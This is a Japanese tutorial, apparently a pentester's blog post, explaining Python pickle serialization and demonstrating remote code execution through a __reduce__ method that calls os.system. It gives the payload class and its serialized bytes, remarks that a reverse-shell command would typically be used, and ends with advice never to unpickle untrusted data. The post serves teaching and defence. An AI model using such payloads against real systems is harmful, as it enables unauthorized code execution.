##概要
最近ペネトレーションテストの業務をしている時に、Pickleの脆弱性によってRCE(リモートコード実行)が引き起こされていることを発見しました。
新しい脆弱性でもなんでもなく、割と昔からある脆弱性なのですが意外と見逃しやすいのかなと思って記事を書くことにしました。
今回はPickleの基本的な使い方から、脆弱性への攻撃方法まで紹介します。
本記事は教育目的で書かれています。許可を得ていない対象へのハッキングは犯罪です。
####参考
##用語解説
Pickle:Pythonオブジェクトの直列化および直列化されたオブジェクトの復元のためのモジュール。
シリアライゼーション(直列化):(Pythonにおいては)Pythonオブジェクトをバイト列に変えること。Pythonoオブジェクトを保存する際によく使用される。
デシリアライゼーション:シリアライゼーションの逆。
##Pickleの使い方
Pickleの使い方はとてもシンプルです。簡単な例を見てみましょう。
import pickle
pickle.dumps(['i', 'am', 'elliot','alderson', 1])
今回の例ではシンプルなリストをPickle化しています。
Pickle化されたバイト列はこのようになっています。
b'\x80\x04\x95$\x00\x00\x00\x00\x00\x00\x00]\x94(\x8c\x01i\x94\x8c\x02am\x94\x8c\x06elliot\x94\x8c\x08alderson\x94K\x01e.'
よく見てみると、先程のリストの中にあったバリューが見えますね。
一見なんだか分からないと思いますが、実はちゃんと意味がある形になっています。
そもそもPickleとは
Pickleとは仮想Pickleマシンのためのプログラムです。Pickleとは連続したオペコードであり、Pickleマシンにより解釈され、任意の複雑なPythonオブジェクトを実行します。
つまりpickle.dumps()によってPickle化されたバイト列はオペコードを含んでいて、pickle.loads()によって非Pickle化された時にそのオペコートが1つ1つ実行されるということです。
非Pickle化する時に、元に戻すためのインストラクションが必要ということです。
それを確認するために、逆アセンブリも出来ます。
興味ある人は見てみてください。
>>> import pickle
>>> import pickletools
>>> pickled = pickle.dumps(['i', 'am', 'elliot','alderson', 1])
>>> pickletools.dis(pickled)
0: \x80 PROTO 4
2: \x95 FRAME 36
11: ] EMPTY_LIST
12: \x94 MEMOIZE (as 0)
13: ( MARK
14: \x8c SHORT_BINUNICODE 'i'
17: \x94 MEMOIZE (as 1)
18: \x8c SHORT_BINUNICODE 'am'
22: \x94 MEMOIZE (as 2)
23: \x8c SHORT_BINUNICODE 'elliot'
31: \x94 MEMOIZE (as 3)
32: \x8c SHORT_BINUNICODE 'alderson'
42: \x94 MEMOIZE (as 4)
43: K BININT1 1
45: e APPENDS (MARK at 13)
46: . STOP
highest protocol among opcodes = 4
もちろん非Pickle化をすると元のオブジェクトが返ってきます。
import pickle
pickle.loads(b'\x80\x04\x95$\x00\x00\x00\x00\x00\x00\x00]\x94(\x8c\x01i\x94\x8c\x02am\x94\x8c\x06elliot\x94\x8c\x08alderson\x94K\x01e.')
['i', 'am', 'elliot', 'alderson', 1]
Pickleの説明についてはこれくらいにしましょう。
##脆弱性
ではPickleの脆弱性について話しましょう。
Pickleの脆弱性は非Pickle化をする時におこります。
pickle.loads()
一体何が危険なのでしょうか。
基本的にpickle.loads()を使う時は、ファイルからデータを読み込みたいまたは、通信に使いたいという場面が多いでしょう。(多分)
非Pickle化するデータを自分以外の人がコントロールできないなら問題はありません。
問題は、第三者や攻撃者が任意のデータを送信し、非Pickle化できる状況です。
ではどのようにRCE出来るのか、reduce methodを使った方法をお見せします。
###reduce method
早速エクスプロイトコードを見てみましょう。
import pickle
import os
class Exploit:
def __reduce__(self):
cmd = ('whoami > /tmp/whoami.txt')
return os.system, (cmd,)
pickled_data = pickle.dumps(Exploit())
変数pickled_dataがpickle.loads()されるとRCE出来ます。
pickle.loads(b'\x80\x04\x950\x00\x00\x00\x00\x00\x00\x00\x8c\x02nt\x94\x8c\x06system\x94\x93\x94\x8c\x18whoami > /tmp/whoami.txt\x94\x85\x94R\x94.)
#ターゲットのマシン上でこのコマンドが実行されると考えてください
今回実行したコマンドは、whoamiですが、本来であればここにリバースシェルを取るためのコマンドなどがくるでしょう。
なぜこのコードがRCEを引き起こすのでしょうか。
pickle.loads()はデシリアライズする対象クラスの__reduce__関数から返される関数と引数のペアを実行します。それによって、__reduce__関数をオーバーロードすると任意の関数やコマンドを実行させることができるのです。
この様に簡単にRCEできてしまいます。
##最後に
そもそもPickleを使う際は、信頼できないデータを非Pickle化してはいけないということは常識で、公式ドキュメントにも記載されています。
Pickleを使う際は、第三者や攻撃者が任意のデータを送れる状況になっていないか、または送信できるデータをチェックする等の対策が必要不可欠です。
この記事が皆さんのお役に立てれば嬉しいです。最後まで読んでくださってありがとうございました。
質問がある方は是非コメントしてください😃